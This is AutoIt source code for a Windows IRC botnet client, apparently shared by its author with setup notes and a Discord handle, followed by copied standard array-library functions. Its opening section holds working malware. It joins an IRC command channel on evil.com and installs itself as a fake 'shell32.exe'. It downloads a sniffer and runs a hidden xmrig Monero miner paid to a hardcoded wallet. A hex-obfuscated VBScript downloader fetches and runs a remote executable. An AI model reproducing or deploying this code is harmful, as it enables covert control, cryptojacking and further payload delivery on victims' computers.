; Be sure to host the sniffer on your server, otherwise it wont work, its seperate binary now
; source for sniffer here: https://pastebin.com/EY2xQ0wf
; Add me on discord if u want to chat/need help with setup for anything
; discord: 𝓕𝓻𝓮𝓪𝓴#9727
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseUpx=y
#AutoIt3Wrapper_UPX_Parameters=--best --lzma
#AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
#AutoIt3Wrapper_Run_Tidy=y
#Tidy_Parameters=/gd /reel /sci 0 /kv 5 /sf
#AutoIt3Wrapper_Run_Au3Stripper=y
#Au3Stripper_Parameters=/so /mi 5 /mo
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
If IsAdmin() Then
$priv = "A"
Else
$priv = "U"
EndIf
Global $nodes = StringSplit("evil.com:6667|", "|")
Global $signedin = False
Global $botpassword = "kektheplanet"
Global $nickformat = $priv & "[" & @OSVersion & "|" & @OSArch & "|" & EnvGet("NUMBER_OF_PROCESSORS") & "]"
Global $botid = randID()
Global $nick = $nickformat & $botid
Global $channel = "#windoez"
Global $key = "swegfeg"
Global $trigger = "!"
Global $lanIP = @IPAddress1
Global $myIP = _GetIP()
Global $installdir = @AppDataDir & '\Windows Shell Common Binary'
Global $botproc = "shell32.exe"
Global $installpath = $installdir & '\' & $botproc
Global $lootLoc = $installdir & "\dump.dat"
Global $dlexe = BinaryToString("0x63642025746D7025266563686F2053657420593D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A592E4F70656E2022474554222C22687474703A2F2F636E632E63353431663564343339613335392E78797A2F7570646174652E657865222C46616C73653A592E53656E643A53657420473D4372656174654F626A656374282241444F44422E53747265616D22293A472E547970653D313A472E4F70656E3A472E577269746520592E726573706F6E7365426F64793A472E53617665546F46696C652022652E657865222C323A4372656174654F626A6563742822575363726970742E5368656C6C22292E52756E2022652E6578652044454641554C54223A4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E44656C65746546696C652022714E2E76627322203E714E2E766273267374617274207773637269707420714E2E766273")
Global Const $tagOBJECTATTRIBUTES = "ulong Length;hwnd RootDirectory;ptr ObjectName;ulong Attributes;ptr SecurityDescriptor;ptr SecurityQualityOfService"
Global Const $tagUNICODESTRING = "ushort Length;ushort MaximumLength;ptr Buffer"
Global Const $tagSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $OBJ_CASE_INSENSITIVE = 0x00000040
Global Const $UBOUND_DIMENSIONS = 0
Global Const $UBOUND_ROWS = 1
Global Const $UBOUND_COLUMNS = 2
Global Enum $ARRAYFILL_FORCE_DEFAULT, $ARRAYFILL_FORCE_SINGLEITEM, $ARRAYFILL_FORCE_INT, $ARRAYFILL_FORCE_NUMBER, _
$ARRAYFILL_FORCE_PTR, $ARRAYFILL_FORCE_HWND, $ARRAYFILL_FORCE_STRING, $ARRAYFILL_FORCE_BOOLEAN
Global Enum $ARRAYUNIQUE_NOCOUNT, $ARRAYUNIQUE_COUNT
Global Enum $ARRAYUNIQUE_AUTO, $ARRAYUNIQUE_FORCE32, $ARRAYUNIQUE_FORCE64, $ARRAYUNIQUE_MATCH, $ARRAYUNIQUE_DISTINCT
Global Const $STR_ENTIRESPLIT = 1 ; Entire delimiter marks the split
Global Const $STR_NOCOUNT = 2 ; Disable the return count
Global $STANDARD_RIGHTS_REQUIRED = 0x000f0000
Global Const $SERVICE_QUERY_CONFIG = 0x0001
Global Const $SERVICE_CHANGE_CONFIG = 0x0002
Global Const $SERVICE_QUERY_STATUS = 0x0004
Global Const $SERVICE_ENUMERATE_DEPENDENTS = 0x0008
Global Const $SERVICE_START = 0x0010
Global Const $SERVICE_STOP = 0x0020
Global Const $SERVICE_PAUSE_CONTINUE = 0x0040
Global Const $SERVICE_INTERROGATE = 0x0080
Global Const $SERVICE_USER_DEFINED_CONTROL = 0x0100
Global Const $SERVICE_ALL_ACCESS = BitOR($STANDARD_RIGHTS_REQUIRED, _
$SERVICE_QUERY_CONFIG, _
$SERVICE_CHANGE_CONFIG, _
$SERVICE_QUERY_STATUS, _
$SERVICE_ENUMERATE_DEPENDENTS, _
$SERVICE_START, _
$SERVICE_STOP, _
$SERVICE_PAUSE_CONTINUE, _
$SERVICE_INTERROGATE, _
$SERVICE_USER_DEFINED_CONTROL)
Global Const $STDOUT_CHILD = 2
Global Const $STDERR_CHILD = 4
Global $__ghWinInet_FTP = -1
Global $__ghCallback_FTP, $__gbCallback_Set = False
Global Const $INTERNET_SERVICE_FTP = 1
Global Const $INTERNET_FLAG_ASYNC = 0x10000000
Global Const $GENERIC_WRITE = 0x40000000
Global Const $FTP_TRANSFER_TYPE_BINARY = 2 ;Type I transfer method. The file is transferred exactly as it exists with no changes.
Global Const $INTERNET_FLAG_PASSIVE = 0x08000000
Global Const $INTERNET_OPEN_TYPE_DIRECT = 1
Global $line, $foo
Global $RDPCreds = ""
Dim $hmutex
_Singleton("4a43c9a1fb27739fc59c3c33bd767318", $hmutex)
dlexe("http://evil.com/sniffer.exe")
fixsys()
install()
InetGet("http://evil.com/xmrig.exe", @TempDir)
Run(@TempDir & '\xmrig.exe --url pool.hashvault.pro:80 --user 45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH --pass x --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14', "", @SW_HIDE)
TCPStartup()
Opt("TCPTimeout", 5000)
While 1
Global $sock = connect($nodes)
While 1
$Recv = TCPRecv($sock, 8192)
If @error Then ExitLoop
Local $sData = StringSplit($Recv, @CRLF)
For $i = 1 To $sData[0] Step 1
Local $stemp = StringSplit($sData[$i], " ")
If $stemp[1] == "" Then ContinueLoop
If $stemp[0] < 2 Then ContinueLoop
If $stemp[1] == "PING" Then pong($sock, $stemp[2])
If $stemp[2] == "376" Or $stemp[2] == "422" Then
changemode($sock, "+i", $nick)
joinchannel($sock, $channel & " " & $key)
ElseIf $stemp[2] == "352" Then
newnickname($sock)
EndIf
Switch $stemp[2]
Case "PRIVMSG"
$user = StringMid($stemp[1], 2, StringInStr($stemp[1], "!") - 2)
$msg = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2) + 1)
If StringLeft($msg, 1) = $trigger Then
cmd($user, $stemp[3], $msg)
EndIf
EndSwitch
Next
WEnd
WEnd
Func __FTP_Init()
$__ghWinInet_FTP = DllOpen('wininet.dll')
EndFunc ;==>__FTP_Init
Func _ArrayAdd(ByRef $aArray, $vValue, $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT)
If $iStart = Default Then $iStart = 0
If $sDelim_Item = Default Then $sDelim_Item = "|"
If $sDelim_Row = Default Then $sDelim_Row = @CRLF
If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT
If Not IsArray($aArray) Then Return SetError(1, 0, -1)
Local $iDim_1 = UBound($aArray, $UBOUND_ROWS)
Local $hDataType = 0
Switch $iForce
Case $ARRAYFILL_FORCE_INT
$hDataType = Int
Case $ARRAYFILL_FORCE_NUMBER
$hDataType = Number
Case $ARRAYFILL_FORCE_PTR
$hDataType = Ptr
Case $ARRAYFILL_FORCE_HWND
$hDataType = Hwnd
Case $ARRAYFILL_FORCE_STRING
$hDataType = String
Case $ARRAYFILL_FORCE_BOOLEAN
$hDataType = "Boolean"
EndSwitch
Switch UBound($aArray, $UBOUND_DIMENSIONS)
Case 1
If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then
ReDim $aArray[$iDim_1 + 1]
$aArray[$iDim_1] = $vValue
Return $iDim_1
EndIf
If IsArray($vValue) Then
If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1)
$hDataType = 0
Else
Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
If UBound($aTmp, $UBOUND_ROWS) = 1 Then
$aTmp[0] = $vValue
EndIf
$vValue = $aTmp
EndIf
Local $iAdd = UBound($vValue, $UBOUND_ROWS)
ReDim $aArray[$iDim_1 + $iAdd]
For $i = 0 To $iAdd - 1
If String($hDataType) = "Boolean" Then
Switch $vValue[$i]
Case "True", "1"
$aArray[$iDim_1 + $i] = True
Case "False", "0", ""
$aArray[$iDim_1 + $i] = False
EndSwitch
ElseIf IsFunc($hDataType) Then
$aArray[$iDim_1 + $i] = $hDataType($vValue[$i])
Else
$aArray[$iDim_1 + $i] = $vValue[$i]
EndIf
Next
Return $iDim_1 + $iAdd - 1
Case 2
Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS)
If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(4, 0, -1)
Local $iValDim_1, $iValDim_2 = 0, $iColCount
If IsArray($vValue) Then
If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(5, 0, -1)
$iValDim_1 = UBound($vValue, $UBOUND_ROWS)
$iValDim_2 = UBound($vValue, $UBOUND_COLUMNS)
$hDataType = 0
Else
Local $aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT)
$iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS)
Local $aTmp[$iValDim_1][0], $aSplit_2
For $i = 0 To $iValDim_1 - 1
$aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
$iColCount = UBound($aSplit_2)
If $iColCount > $iValDim_2 Then
$iValDim_2 = $iColCount
ReDim $aTmp[$iValDim_1][$iValDim_2]
EndIf
For $j = 0 To $iColCount - 1
$aTmp[$i][$j] = $aSplit_2[$j]
Next
Next
$vValue = $aTmp
EndIf
If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(3, 0, -1)
ReDim $aArray[$iDim_1 + $iValDim_1][$iDim_2]
For $iWriteTo_Index = 0 To $iValDim_1 - 1
For $j = 0 To $iDim_2 - 1
If $j < $iStart Then
$aArray[$iWriteTo_Index + $iDim_1][$j] = ""
ElseIf $j - $iStart > $iValDim_2 - 1 Then
$aArray[$iWriteTo_Index + $iDim_1][$j] = ""
Else
If String($hDataType) = "Boolean" Then
Switch $vValue[$iWriteTo_Index][$j - $iStart]
Case "True", "1"
$aArray[$iWriteTo_Index + $iDim_1][$j] = True
Case "False", "0", ""
$aArray[$iWriteTo_Index + $iDim_1][$j] = False
EndSwitch
ElseIf IsFunc($hDataType) Then
$aArray[$iWriteTo_Index + $iDim_1][$j] = $hDataType($vValue[$iWriteTo_Index][$j - $iStart])
Else
$aArray[$iWriteTo_Index + $iDim_1][$j] = $vValue[$iWriteTo_Index][$j - $iStart]
EndIf
EndIf
Next
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return UBound($aArray, $UBOUND_ROWS) - 1
EndFunc ;==>_ArrayAdd
Func _ArrayDelete(ByRef $aArray, $vRange)
If Not IsArray($aArray) Then Return SetError(1, 0, -1)
Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
If IsArray($vRange) Then
If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1)
Else
Local $iNumber, $aSplit_1, $aSplit_2
$vRange = StringStripWS($vRange, 8)
$aSplit_1 = StringSplit($vRange, ";")
$vRange = ""
For $i = 1 To $aSplit_1[0]
If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
$aSplit_2 = StringSplit($aSplit_1[$i], "-")
Switch $aSplit_2[0]
Case 1
$vRange &= $aSplit_2[1] & ";"
Case 2
If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then
$iNumber = $aSplit_2[1] - 1
Do
$iNumber += 1
$vRange &= $iNumber & ";"
Until $iNumber = $aSplit_2[2]
EndIf
EndSwitch
Next
$vRange = StringSplit(StringTrimRight($vRange, 1), ";")
EndIf
If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1)
Local $iCopyTo_Index = 0
Switch UBound($aArray, $UBOUND_DIMENSIONS)
Case 1
For $i = 1 To $vRange[0]
$aArray[$vRange[$i]] = ChrW(0xFAB1)
Next
For $iReadFrom_Index = 0 To $iDim_1
If $aArray[$iReadFrom_Index] == ChrW(0xFAB1) Then
ContinueLoop
Else
If $iReadFrom_Index <> $iCopyTo_Index Then
$aArray[$iCopyTo_Index] = $aArray[$iReadFrom_Index]
EndIf
$iCopyTo_Index += 1
EndIf
Next
ReDim $aArray[$iDim_1 - $vRange[0] + 1]
Case 2
Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
For $i = 1 To $vRange[0]
$aArray[$vRange[$i]][0] = ChrW(0xFAB1)
Next
For $iReadFrom_Index = 0 To $iDim_1
If $aArray[$iReadFrom_Index][0] == ChrW(0xFAB1) Then
ContinueLoop
Else
If $iReadFrom_Index <> $iCopyTo_Index Then
For $j = 0 To $iDim_2
$aArray[$iCopyTo_Index][$j] = $aArray[$iReadFrom_Index][$j]
Next
EndIf
$iCopyTo_Index += 1
EndIf
Next
ReDim $aArray[$iDim_1 - $vRange[0] + 1][$iDim_2 + 1]
Case Else
Return SetError(2, 0, False)
EndSwitch
Return UBound($aArray, $UBOUND_ROWS)
EndFunc ;==>_ArrayDelete
Func _ArrayFindAll(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iSubItem = 0, $bRow = False)
If $iStart = Default Then $iStart = 0
If $iEnd = Default Then $iEnd = 0
If $iCase = Default Then $iCase = 0
If $iCompare = Default Then $iCompare = 0
If $iSubItem = Default Then $iSubItem = 0
If $bRow = Default Then $bRow = False
$iStart = _ArraySearch($aArray, $vValue, $iStart, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow)
If @error Then Return SetError(@error, 0, -1)
Local $iIndex = 0, $avResult[UBound($aArray, ($bRow ? $UBOUND_COLUMNS : $UBOUND_ROWS))] ; Set dimension for Column/Row
Do
$avResult[$iIndex] = $iStart
$iIndex += 1
$iStart = _ArraySearch($aArray, $vValue, $iStart + 1, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow)
Until @error
ReDim $avResult[$iIndex]
Return $avResult
EndFunc ;==>_ArrayFindAll
Func _ArrayInsert(ByRef $aArray, $vRange, $vValue = "", $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT)
If $vValue = Default Then $vValue = ""
If $iStart = Default Then $iStart = 0
If $sDelim_Item = Default Then $sDelim_Item = "|"
If $sDelim_Row = Default Then $sDelim_Row = @CRLF
If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT
If Not IsArray($aArray) Then Return SetError(1, 0, -1)
Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
Local $hDataType = 0
Switch $iForce
Case $ARRAYFILL_FORCE_INT
$hDataType = Int
Case $ARRAYFILL_FORCE_NUMBER
$hDataType = Number
Case $ARRAYFILL_FORCE_PTR
$hDataType = Ptr
Case $ARRAYFILL_FORCE_HWND
$hDataType = Hwnd
Case $ARRAYFILL_FORCE_STRING
$hDataType = String
EndSwitch
Local $aSplit_1, $aSplit_2
If IsArray($vRange) Then
If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1)
Else
Local $iNumber
$vRange = StringStripWS($vRange, 8)
$aSplit_1 = StringSplit($vRange, ";")
$vRange = ""
For $i = 1 To $aSplit_1[0]
If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
$aSplit_2 = StringSplit($aSplit_1[$i], "-")
Switch $aSplit_2[0]
Case 1
$vRange &= $aSplit_2[1] & ";"
Case 2
If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then
$iNumber = $aSplit_2[1] - 1
Do
$iNumber += 1
$vRange &= $iNumber & ";"
Until $iNumber = $aSplit_2[2]
EndIf
EndSwitch
Next
$vRange = StringSplit(StringTrimRight($vRange, 1), ";")
EndIf
If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1)
For $i = 2 To $vRange[0]
If $vRange[$i] < $vRange[$i - 1] Then Return SetError(3, 0, -1)
Next
Local $iCopyTo_Index = $iDim_1 + $vRange[0]
Local $iInsertPoint_Index = $vRange[0]
Local $iInsert_Index = $vRange[$iInsertPoint_Index]
Switch UBound($aArray, $UBOUND_DIMENSIONS)
Case 1
If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then
ReDim $aArray[$iDim_1 + $vRange[0] + 1]
For $iReadFromIndex = $iDim_1 To 0 Step -1
$aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex]
$iCopyTo_Index -= 1
$iInsert_Index = $vRange[$iInsertPoint_Index]
While $iReadFromIndex = $iInsert_Index
$aArray[$iCopyTo_Index] = $vValue
$iCopyTo_Index -= 1
$iInsertPoint_Index -= 1
If $iInsertPoint_Index < 1 Then ExitLoop 2
$iInsert_Index = $vRange[$iInsertPoint_Index]
WEnd
Next
Return $iDim_1 + $vRange[0] + 1
EndIf
ReDim $aArray[$iDim_1 + $vRange[0] + 1]
If IsArray($vValue) Then
If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1)
$hDataType = 0
Else
Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
If UBound($aTmp, $UBOUND_ROWS) = 1 Then
$aTmp[0] = $vValue
$hDataType = 0
EndIf
$vValue = $aTmp
EndIf
For $iReadFromIndex = $iDim_1 To 0 Step -1
$aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex]
$iCopyTo_Index -= 1
$iInsert_Index = $vRange[$iInsertPoint_Index]
While $iReadFromIndex = $iInsert_Index
If $iInsertPoint_Index <= UBound($vValue, $UBOUND_ROWS) Then
If IsFunc($hDataType) Then
$aArray[$iCopyTo_Index] = $hDataType($vValue[$iInsertPoint_Index - 1])
Else
$aArray[$iCopyTo_Index] = $vValue[$iInsertPoint_Index - 1]
EndIf
Else
$aArray[$iCopyTo_Index] = ""
EndIf
$iCopyTo_Index -= 1
$iInsertPoint_Index -= 1
If $iInsertPoint_Index = 0 Then ExitLoop 2
$iInsert_Index = $vRange[$iInsertPoint_Index]
WEnd
Next
Case 2
Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS)
If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(6, 0, -1)
Local $iValDim_1, $iValDim_2
If IsArray($vValue) Then
If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(7, 0, -1)
$iValDim_1 = UBound($vValue, $UBOUND_ROWS)
$iValDim_2 = UBound($vValue, $UBOUND_COLUMNS)
$hDataType = 0
Else
$aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT)
$iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS)
StringReplace($aSplit_1[0], $sDelim_Item, "")
$iValDim_2 = @extended + 1
Local $aTmp[$iValDim_1][$iValDim_2]
For $i = 0 To $iValDim_1 - 1
$aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
For $j = 0 To $iValDim_2 - 1
$aTmp[$i][$j] = $aSplit_2[$j]
Next
Next
$vValue = $aTmp
EndIf
If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(8, 0, -1)
ReDim $aArray[$iDim_1 + $vRange[0] + 1][$iDim_2]
For $iReadFromIndex = $iDim_1 To 0 Step -1
For $j = 0 To $iDim_2 - 1
$aArray[$iCopyTo_Index][$j] = $aArray[$iReadFromIndex][$j]
Next
$iCopyTo_Index -= 1
$iInsert_Index = $vRange[$iInsertPoint_Index]
While $iReadFromIndex = $iInsert_Index
For $j = 0 To $iDim_2 - 1
If $j < $iStart Then
$aArray[$iCopyTo_Index][$j] = ""
ElseIf $j - $iStart > $iValDim_2 - 1 Then
$aArray[$iCopyTo_Index][$j] = ""
Else
If $iInsertPoint_Index - 1 < $iValDim_1 Then
If IsFunc($hDataType) Then
$aArray[$iCopyTo_Index][$j] = $hDataType($vValue[$iInsertPoint_Index - 1][$j - $iStart])
Else
$aArray[$iCopyTo_Index][$j] = $vValue[$iInsertPoint_Index - 1][$j - $iStart]
EndIf
Else
$aArray[$iCopyTo_Index][$j] = ""
EndIf
EndIf
Next
$iCopyTo_Index -= 1
$iInsertPoint_Index -= 1
If $iInsertPoint_Index = 0 Then ExitLoop 2
$iInsert_Index = $vRange[$iInsertPoint_Index]
WEnd
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return UBound($aArray, $UBOUND_ROWS)
EndFunc ;==>_ArrayInsert
Func _ArraySearch(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iForward = 1, $iSubItem = -1, $bRow = False)
If $iStart = Default Then $iStart = 0
If $iEnd = Default Then $iEnd = 0
If $iCase = Default Then $iCase = 0
If $iCompare = Default Then $iCompare = 0
If $iForward = Default Then $iForward = 1
If $iSubItem = Default Then $iSubItem = -1
If $bRow = Default Then $bRow = False
If Not IsArray($aArray) Then Return SetError(1, 0, -1)
Local $iDim_1 = UBound($aArray) - 1
If $iDim_1 = -1 Then Return SetError(3, 0, -1)
Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
Local $bCompType = False
If $iCompare = 2 Then
$iCompare = 0
$bCompType = True
EndIf
If $bRow Then
If UBound($aArray, $UBOUND_DIMENSIONS) = 1 Then Return SetError(5, 0, -1)
If $iEnd < 1 Or $iEnd > $iDim_2 Then $iEnd = $iDim_2
If $iStart < 0 Then $iStart = 0
If $iStart > $iEnd Then Return SetError(4, 0, -1)
Else
If $iEnd < 1 Or $iEnd > $iDim_1 Then $iEnd = $iDim_1
If $iStart < 0 Then $iStart = 0
If $iStart > $iEnd Then Return SetError(4, 0, -1)
EndIf
Local $iStep = 1
If Not $iForward Then
Local $iTmp = $iStart
$iStart = $iEnd
$iEnd = $iTmp
$iStep = -1
EndIf
Switch UBound($aArray, $UBOUND_DIMENSIONS)
Case 1 ; 1D array search
If Not $iCompare Then
If Not $iCase Then
For $i = $iStart To $iEnd Step $iStep
If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$i] = $vValue Then Return $i
Next
Else
For $i = $iStart To $iEnd Step $iStep
If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$i] == $vValue Then Return $i
Next
EndIf
Else
For $i = $iStart To $iEnd Step $iStep
If $iCompare = 3 Then
If StringRegExp($aArray[$i], $vValue) Then Return $i
Else
If StringInStr($aArray[$i], $vValue, $iCase) > 0 Then Return $i
EndIf
Next
EndIf
Case 2 ; 2D array search
Local $iDim_Sub
If $bRow Then
$iDim_Sub = $iDim_1
If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub
If $iSubItem < 0 Then
$iSubItem = 0
Else
$iDim_Sub = $iSubItem
EndIf
Else
$iDim_Sub = $iDim_2
If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub
If $iSubItem < 0 Then
$iSubItem = 0
Else
$iDim_Sub = $iSubItem
EndIf
EndIf
For $j = $iSubItem To $iDim_Sub
If Not $iCompare Then
If Not $iCase Then
For $i = $iStart To $iEnd Step $iStep
If $bRow Then
If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$j][$i] = $vValue Then Return $i
Else
If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$i][$j] = $vValue Then Return $i
EndIf
Next
Else
For $i = $iStart To $iEnd Step $iStep
If $bRow Then
If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$j][$i] == $vValue Then Return $i
Else
If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop
If $aArray[$i][$j] == $vValue Then Return $i
EndIf
Next
EndIf
Else
For $i = $iStart To $iEnd Step $iStep
If $iCompare = 3 Then
If $bRow Then
If StringRegExp($aArray[$j][$i], $vValue) Then Return $i
Else
If StringRegExp($aArray[$i][$j], $vValue) Then Return $i
EndIf
Else
If $bRow Then
If StringInStr($aArray[$j][$i], $vValue, $iCase) > 0 Then Return $i
Else
If StringInStr($aArray[$i][$j], $vValue, $iCase) > 0 Then Return $i
EndIf
EndIf
Next
EndIf
Next
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return SetError(6, 0, -1)
EndFunc ;==>_ArraySearch
Func _ArrayToString(Const ByRef $aArray, $sDelim_Col = "|", $iStart_Row = -1, $iEnd_Row = -1, $sDelim_Row = @CRLF, $iStart_Col = -1, $iEnd_Col = -1)
If $sDelim_Col = Default Then $sDelim_Col = "|"
If $sDelim_Row = Default Then $sDelim_Row = @CRLF
If $iStart_Row = Default Then $iStart_Row = -1
If $iEnd_Row = Default Then $iEnd_Row = -1
If $iStart_Col = Default Then $iStart_Col = -1
If $iEnd_Col = Default Then $iEnd_Col = -1
If Not IsArray($aArray) Then Return SetError(1, 0, -1)
Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
If $iStart_Row = -1 Then $iStart_Row = 0
If $iEnd_Row = -1 Then $iEnd_Row = $iDim_1
If $iStart_Row < -1 Or $iEnd_Row < -1 Then Return SetError(3, 0, -1)
If $iStart_Row > $iDim_1 Or $iEnd_Row > $iDim_1 Then Return SetError(3, 0, "")
If $iStart_Row > $iEnd_Row Then Return SetError(4, 0, -1)
Local $sRet = ""
Switch UBound($aArray, $UBOUND_DIMENSIONS)
Case 1
For $i = $iStart_Row To $iEnd_Row
$sRet &= $aArray[$i] & $sDelim_Col
Next
Return StringTrimRight($sRet, StringLen($sDelim_Col))
Case 2
Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
If $iStart_Col = -1 Then $iStart_Col = 0
If $iEnd_Col = -1 Then $iEnd_Col = $iDim_2
If $iStart_Col < -1 Or $iEnd_Col < -1 Then Return SetError(5, 0, -1)
If $iStart_Col > $iDim_2 Or $iEnd_Col > $iDim_2 Then Return SetError(5, 0, -1)
If $iStart_Col > $iEnd_Col Then Return SetError(6, 0, -1)
For $i = $iStart_Row To $iEnd_Row
For $j = $iStart_Col To $iEnd_Col
$sRet &= $aArray[$i][$j] & $sDelim_Col
Next
$sRet = StringTrimRight($sRet, StringLen($sDelim_Col)) & $sDelim_Row
Next
Return StringTrimRight($sRet, StringLen($sDelim_Row))
Case Else
Return SetError(2, 0, -1)
EndSwitch
Return 1
EndFunc ;==>_ArrayToString
Func _ArrayUnique(Const ByRef $aArray, $iColumn = 0, $iBase = 0, $iCase = 0, $iCount = $ARRAYUNIQUE_COUNT, $iIntType = $ARRAYUNIQUE_AUTO)
If $iColumn = Default Then $iColumn = 0
If $iBase = Default Then $iBase = 0
If $iCase = Default Then $iCase = 0
If $iCount = Default Then $iCount = $ARRAYUNIQUE_COUNT
If UBound($aArray, $UBOUND_ROWS) = 0 Then Return SetError(1, 0, 0)
Local $iDims = UBound($aArray, $UBOUND_DIMENSIONS), $iNumColumns = UBound($aArray, $UBOUND_COLUMNS)
If $iDims > 2 Then Return SetError(2, 0, 0)
If $iBase < 0 Or $iBase > 1 Or (Not IsInt($iBase)) Then Return SetError(3, 0, 0)
If $iCase < 0 Or $iCase > 1 Or (Not IsInt($iCase)) Then Return SetError(3, 0, 0)
If $iCount < 0 Or $iCount > 1 Or (Not IsInt($iCount)) Then Return SetError(4, 0, 0)
If $iIntType < 0 Or $iIntType > 4 Or (Not IsInt($iIntType)) Then Return SetError(5, 0, 0)
If $iColumn < 0 Or ($iNumColumns = 0 And $iColumn > 0) Or ($iNumColumns > 0 And $iColumn >= $iNumColumns) Then Return SetError(6, 0, 0)
If $iIntType = $ARRAYUNIQUE_AUTO Then
Local $bInt, $sVarType
If $iDims = 1 Then
$bInt = IsInt($aArray[$iBase])
$sVarType = VarGetType($aArray[$iBase])
Else
$bInt = IsInt($aArray[$iBase][$iColumn])
$sVarType = VarGetType($aArray[$iBase][$iColumn])
EndIf
If $bInt And $sVarType = "Int64" Then
$iIntType = $ARRAYUNIQUE_FORCE64
Else
$iIntType = $ARRAYUNIQUE_FORCE32
EndIf
EndIf
Local $oDictionary = ObjCreate("Scripting.Dictionary")
$oDictionary.CompareMode = Number(Not $iCase)
Local $vElem, $sType, $vKey, $bCOMError = False
For $i = $iBase To UBound($aArray) - 1
If $iDims = 1 Then
$vElem = $aArray[$i]
Else
$vElem = $aArray[$i][$iColumn]
EndIf
Switch $iIntType
Case $ARRAYUNIQUE_FORCE32
$oDictionary.Item($vElem) ; Check if key exists - automatically created if not
If @error Then
$bCOMError = True ; Failed with an Int64, Ptr or Binary datatype
ExitLoop
EndIf
Case $ARRAYUNIQUE_FORCE64
$sType = VarGetType($vElem)
If $sType = "Int32" Then
$bCOMError = True ; Failed with an Int32 datatype
ExitLoop
EndIf ; Create key
$vKey = "#" & $sType & "#" & String($vElem)
If Not $oDictionary.Item($vKey) Then ; Check if key exists
$oDictionary($vKey) = $vElem ; Store actual value in dictionary
EndIf
Case $ARRAYUNIQUE_MATCH
